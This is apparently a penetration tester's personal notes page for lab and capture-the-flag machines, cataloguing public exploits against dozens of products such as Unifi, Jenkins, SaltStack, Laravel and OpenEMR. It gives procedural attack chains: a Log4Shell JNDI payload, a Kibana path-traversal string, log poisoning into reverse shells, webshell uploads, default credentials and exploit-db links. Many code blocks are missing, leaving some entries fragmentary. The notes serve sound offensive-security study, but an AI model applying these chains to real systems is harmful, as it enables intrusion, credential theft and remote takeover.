Ctrlk
For the complete documentation index, see llms.txt. This page is also available as Markdown.

Things I have Pwn'd before

tl;dr: This page tracks things I have pwn'd before with public exploits

  • https://ippsec.rocks/?#

Unifi Log4Shell

sudo tcpdump -i tun0 port 389

  • The server will response with invalid payload however it is still connecting back to us, check tcpdump to ensure the connect back

  • Now install the required packages:

  • After the payload has been created, start the Rogue-JNDI application while passing in the payload as part of the --command option and your tun0 IP address to the --hostname option.

  • --hostname is your localhost tun0 interface

  • Now start your listener

  • Going back to our intercepted POST request, let's change the payload to ${jndi:ldap://{Your Tun0 IP}:1389/o=tomcat} and click Send

Apache Struts2

  • USE:

Microsoft-ds port 445

  • 445/tcp open miscrosoft-ds

  • Run the nmap eternal scripts

  • USE:

Wing FTP Server

  • Windows (admin panel): 21/tcp open wingftp — gain access to admin panel; search lua then exploit(windows/ftp/wing_ftp_admin_exec).

  • Linux web client: Exposed on HTTP (often subdomain e.g. ftp.target.htb). RCE via command injection (EDB 52347). See Wing FTP Server (Linux web client) for subdomain discovery, exploit usage, config/salted hashes, world-writable user XML overwrite, and CVE-2025-4517 priv esc.

FileZilla Server 0.9.60 beta

  • Windows FileZilla Server 0.9.60 beta exposes a local admin port on 127.0.0.1:14147; forward it over SSH and abuse the public 0.9.60 admin-port tooling to create system:wyywyy with FTP access to C:\. See FileZilla Server 0.9.60 beta.

MS09-050 SMB

  • Windows Server 2008 SP1 with SMBv2 can expose CVE-2009-3103 / MS09-050. Confirm with nmap's SMB vuln scripts, replace the public PoC shell buffer with a generated Meterpreter payload, and run it against TCP/445 for SYSTEM. See MS09-050 SMB.

Jenkins

  • Jenkins 2.401.2 running only on localhost can be reached with an SSH local port forward. If CLI access allows CVE-2024-23897 arbitrary file read, use it to read /root/.jenkins/secrets/initialAdminPassword. See Jenkins.

ClamAV Milter with Sendmail

  • Legacy Sendmail 8.13.4 using clamav-milter can expose unauthenticated remote root command execution over SMTP. Exploit-DB 4761 adds a root shell service to inetd and exposes it on TCP/31337. See ClamAV Milter with Sendmail.

Remote Mouse

  • Remote Mouse 3.008 can expose TCP/UDP ports 1978-1980; if network access is filtered, check the local GUI from RDP. WiFi Mouse 1.7.8.5 can also expose TCP 1978 with a luminateOK banner and support payload download RCE. See Remote Mouse.

BaGet

  • BaGet exposes NuGet service-index and package upload endpoints on IIS/.NET targets. Check /upload, /v3/index.json, the BaGet exposure nuclei template, and IIS short-name disclosure for baget*/nuget* assemblies. See BaGet.

Booked Scheduler

  • Booked Scheduler 2.7.5 can expose authenticated RCE. Check anonymous SMB log shares for leaked setup credentials such as admin:adminadmin, then exploit the authenticated RCE. See Booked Scheduler.

BoxBilling

  • BoxBilling 4.22.1.5 can expose /.git/HEAD; dump the repository, recover bb-config.php, reuse the leaked password for admin login, then abuse CVE-2022-3552 Filemanager file write for command execution as yuki. See BoxBilling.

SOPlanning

  • SOPlanning 1.52.01 can be chained from exposed Git database credentials to the soplanning database, login as admin with the stored cle|password value, and authenticated .phtml upload RCE as www-data. See SOPlanning.

Gerapy

  • Gerapy on TCP/8000 can expose a default admin:admin login and CVE-2021-43857 authenticated RCE. Create a project first if the project list is empty, then use the exploit to get a shell as app; check Linux capabilities for cap_setuid=ep on Python. See Gerapy.

rConfig

  • rConfig 3.9.4 over HTTPS on TCP/8081 can be chained from temporary admin creation to authenticated search.crud.php command injection. Use the resulting apache shell to check config.inc.php and local privilege escalation such as SUID find. See rConfig.

pyLoad

  • pyLoad on TCP/9666 can expose a Cheroot login page and unauthenticated /flash/addcrypted2 endpoint. For vulnerable versions prior to 0.5.0b3.dev31, use CVE-2023-0297 jk=pyimport os;os.system(...) injection to confirm command execution and stage a shell. See pyLoad.

WordPress AdRotate Banner Manager

  • WordPress with AdRotate Banner Manager 5.8.6.2 can allow authenticated admin upload through the AdRotate media manager. Upload a ZIP containing shell.php, trigger it from /wp-content/banners/shell.php, then check wp-config.php for reusable local credentials. See WordPress.

Prison Management System

  • Prison Management System can allow admin login with admin:admin123 or SQL injection, then authenticated avatar upload RCE by changing an intercepted image filename to shell.php. Check database/connect2.php and application tables for reusable credentials. See Prison Management System.

XAMPP on Windows

  • XAMPP on Windows can expose PHP LFI through page= parameters. Use ../../../../../../../xampp/apache/logs/access.log for access-log poisoning, then execute a PowerShell/powercat reverse shell as the web user. See XAMPP.

HP Power Manager

  • HP Power Manager 4.2 Build 7 exposes a GoAhead web UI with default admin:admin; the Metasploit hp_power_manager_filename module can yield SYSTEM. See HP Power Manager.

H2 Database

  • H2 Database 1.4.199 can expose a web console on 8082; with console access, JNI code execution can run commands and stage a Meterpreter payload. See H2 Database.

FuguHub

  • FuguHub 8.4 on Barracuda Embedded Web Server can expose an uninitialized setup wizard on TCP/8082. Set the admin account, confirm WFS access, then use the authenticated customization page to execute Lua Server Pages as root. See FuguHub.

Argus Surveillance DVR

  • Argus Surveillance DVR 4.0.0.0 can expose unauthenticated directory traversal through WEBACCOUNT.CGI. Use it to read Windows files, steal user SSH keys, and recover Argus credentials from C:\ProgramData\PY_Software\Argus Surveillance DVR\DVRParams.ini. See Argus Surveillance DVR.

Liferay

  • Liferay Portal admin access can lead to command execution through the Server Administration Groovy script console. Deployment files and NFS shares may leak jdbc.default.*, default admin email settings, and Tomcat config. See Liferay.

Laravel

  • Laravel 8.4.0 with an exposed registration flow and dashboard-controlled APP_DEBUG can be exploited with CVE-2021-3129 once debug is enabled. Use the Ignition exploit for command execution as www-data, then read .env for APP_KEY and database credentials. See Laravel.

Mage AI

  • Mage AI v0.9.75 exposed on Tornado can provide terminal access as www-data. See Mage AI.

Zabbix

  • Zabbix 7.2.4 local configs can expose MySQL credentials. Use the Zabbix database to recover GUI hashes, crack Admin:dinosaur, reverse-forward the localhost-only GUI, and execute cloned scripts as zabbix. See Zabbix.

Grav CMS

  • Grav CMS exposed at /grav-admin/ can be vulnerable to CVE-2021-21425 unauthenticated RCE. Check account YAML files after gaining web access. See Grav CMS.

Codoforum

  • Codoforum admin access can permit PHP uploads through global settings and forum logo upload. Check sites/default/config.php for database credentials and possible local credential reuse. See Codoforum.

CS-Cart

  • CS-Cart can expose an old PHP shopping cart on Apache. Try default admin:admin, use authenticated CS-Cart RCE tooling for a www-data shell, then check config.php for local MySQL credentials. See CS-Cart.

Monstra CMS

  • Monstra CMS 3.0.4 can expose public user profiles and authenticated RCE. Build a small wordlist from site content, authenticate to the admin panel, then use Monstra RCE tooling to write a PHP command shell under the active theme. See Monstra CMS.

SaltStack

  • SaltStack Salt API on /run can expose unauthenticated command injection through the SSH client path. Confirm with ICMP, then use ssh_priv injection to fetch and execute a reverse shell. See SaltStack.

Subrion CMS

  • Subrion CMS 4.2.1 admin access can lead to authenticated file upload RCE. Check Subrion config for DB credentials and member data. See Subrion CMS.

SuiteCRM

  • SuiteCRM 7.12.3 can expose default admin:admin access and authenticated RCE through CVE-2022-23940. Use the scheduled reports exploit for a www-data shell, then check config.php and sudo -l for NOPASSWD: /usr/sbin/service. See SuiteCRM.

Gogs

  • Gogs access can expose users, repositories, source history, and config secrets. CVE-2025-8110 uses an authenticated symlink workflow; URL-encode special characters in credentials before cloning through exploit tooling. See Gogs.

Gitea

  • Gitea may expose version details on TCP/3000 and allow registration. On 1.7.5, a first registered admin user can abuse CVE-2020-14144 Git hook RCE; if the PoC creates the temporary repo but no shell returns, manually push from the generated repo and try an outbound port allowed by the target. See Gitea.

OpenNMS

  • OpenNMS Horizon / Meridian admin access can lead to RCE through notification configuration and filesystem editor features. The Metasploit module may require ROLE_FILESYSTEM_EDITOR and ROLE_REST, plus module/payload tuning. See OpenNMS.

Sonatype Nexus Repository Manager

  • Nexus Repository Manager leaks useful version and REST data before auth. Admin access can lead to Windows command execution through Groovy scripts or custom tasks, and automation backups may reveal the rotated admin password. See Sonatype Nexus Repository Manager.

SonarQube

  • SonarQube exposes useful API/version checks. Admin access can upload a malicious plugin and restart the service; if the service runs as LocalSystem, the plugin executes as SYSTEM. Check sonar.properties backups and local H2 databases for credentials. See SonarQube.

uftpd

  • uftpd 2.8 can be abused with directory traversal / chroot bypass tooling to retrieve sensitive files such as SSH private keys from local-only FTP services. See uftpd.

Simple PHP Photo Gallery

  • Simple PHP Photo Gallery v0.8 can allow RFI through image.php?img=. Use it to include a hosted PHP webshell, read db.php, decode double-base64 gallery user passwords, and reuse a local user's password. See Simple PHP Photo Gallery.

Zenphoto

  • Zenphoto 1.4.1.4 can expose its version in an HTML source comment under the gallery path. Use Exploit-DB 18083.php against /test/ for TinyMCE ajax file manager RCE, then read zp-data/zp-config.php for local MySQL credentials. See Zenphoto.

ImageMagick Identifier

  • ImageMagick Identifier upload forms that run magick identify through a shell can be abused with a crafted PNG filename for command execution. On ImageMagick 6.9.6-4, CVE-2023-34152 tooling produced a reverse shell as www-data; SUID strace gave root. See ImageMagick Identifier.

ZoneMinder

  • ZoneMinder 1.29.0 under /zm/ can expose blind stacked SQLi in the log query path. Use INTO OUTFILE to write a PHP webshell into /var/www/html, trigger it from the Apache service on TCP/3305, and continue from the www-data shell. See ZoneMinder.

SmarterMail

  • SmarterMail on IIS web UI on TCP/9998. If TCP/17001 .NET Remoting is open, CVE-2019-7214 deserialization can yield NT AUTHORITY\SYSTEM. See SmarterMail.

OpenSMTPD

  • OpenSMTPD on TCP/25 can be vulnerable to CVE-2020-7247 unauthenticated RCE. Confirm with an ICMP callback, then use a valid local recipient such as root@HOSTNAME for the reverse-shell exploit path. See OpenSMTPD.

Openfire

  • Openfire 4.7.3 admin console exposure on TCP/9090 can be abused with CVE-2023-32315 to create an admin user, upload a command-execution plugin, and recover embedded database properties such as mail.smtp.password. See Openfire.

OpenEMR

  • OpenEMR exposed under /openemr/ can lead to authenticated RCE with Exploit-DB 45161.py after finding valid admin credentials such as admin:thedoctor. Patch the PoC for Python 3 command encoding, confirm blind command execution with ICMP, catch a reverse shell as www-data, then check PwnKit for root. See OpenEMR.

Mantis Bug Tracker

  • 80/tcp open http mantisbt-2.3.0

  • CVE:2019-15715 2017-7615

  • Mantis Bug Tracker 2.3.0 - Remote Code Execution (Unauthenticated)

Apache James Server

  • Apache James Server 2.3.2 can expose james-admin, NNTP, POP3, and SMTP. Abuse unauthenticated Remote Admin command execution, then trigger the payload through a login event or reboot-triggered init script. See Apache James Server.

Kibana

  • 5601 is the elastic search port, 9200 is the api

  • If there are log files like on port 8000 which are showing you active kabana logs you can have a LFI vulnerability

  • Go to the 5601 port and add this extension /api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../root.txt

  • Then curl the logs and grep for root.txt

  • Also can be used to get a shell in other situations

  • https://github.com/mpgn/CVE-2018-17246

Sync Breeze Enterprise

  • Sync Breeze Enterprise v8.9.24

  • https://www.exploit-db.com/exploits/40456

Microsoft ds

Android

  • 5555/tcp open freeciv

  • Install adb

Joomla versions 3.6.3

  • Able to use joomra.py in order to create an account and login

  • Edit the templates

  • Add in webshell

  • Can read the config files which has the use and password, then can ssh in

XAMPP

  • Got in through phpmyadmin [root:no password]

  • Able to get shell through SQL database commands

  • Then browse to:

  • Look for config files with passwords

Lucky GetSimple!

  • See the config file and passwd hash with username, crack in john

  • PE with dirtycow [CVE-2016-5195]

  • Compile with

Dolphin Wordpress

  • Dolphin <7.3.2 Auth bypass / RCE exploit by Ahmed Sultan

Codiad Impresscms

  • Directories found

  • Upload web shell

  • Found SSH creds

Techblog (Wordpress Siteimport Exploit)

  • wp

  • LFI

Backupadmin

  • Priv Esc on box with Amanda running, view by -LFI Exploit

  • Screenshot 2021-08-18 081521

  • Screenshot 2021-08-18 081521

mysql Brute Force

  • mysql 3306 running on the target

IP Fire 2.15

  • Brute the admin default [admin:admin]

  • https://github.com/0xskunk/IPFire-2.15-Shellshock-Exploit/blob/master/SIPS.py

init.d linux pe

webserv

  • NAS4Free -Web shell via the file editor

Pro FTPD 1.3.5

  • https://github.com/t0kx/exploit-CVE-2015-3306/blob/master/exploit.py

TeamCity Linux Priv Esc

  • Port was only listening locally so had to port forward in order to be able to browse to it

  • TeamCity operates on port 8111 by default

  • Then could go to localhost:8111 in my browser

  • Was asked for a authentication token to login as super user

  • In the path

  • I was able to find a file called catalina.out which reading the contents provided me the authentication token

  • Once you have gained access Create a new project

  • alt text

  • Next fill in the build configurations

  • alt text

  • Next click build steps and use the following command to let /bin/bash run with full root privlages

  • alt text

  • Click save, and then run

  • Back to the command line and run:

ClipBucket

  • File upload vulnerability with authentication

  • Site will tell you the MD5 Hash name of the file and the directory it is located. Make sure to add the .php extension to the end.

PHP 8.1.0-dev

  • This version of php was backdoored

  • Detect with nikto or by capturing the server response in burp

  • X-Powered-By: PHP 8/1/0/dev --> what you are looking for

  • Automated POC exploit

  • https://www.exploit-db.com/exploits/49933

  • Manual Exploitation:

  • Capture a request in burp suite

  • Add additional User-Agentt header to the request (yes it is supposed to be spelled with two t's)

  • Payload:

Open Net Admin (ona)

Wordpress HelloDolly Plugin

Dolibarr 17.0.0

CVE-2022-37706-Enlightenment-0.25.3-LPE

Pluck CMS 4.7.18

https://www.exploit-db.com/raw/49909

https://codingninjablogs.tech/tryhackme-dreaming-pluck-cms-44575d7e558a

User Input:

  • file upload is not working well

https://www.youtube.com/watch?v=GpL_rz8jgro

  • upload the zip

De-Pixel PDF to find password

  • depixel file to get password

Previousssh agentNextTomcat

Last updated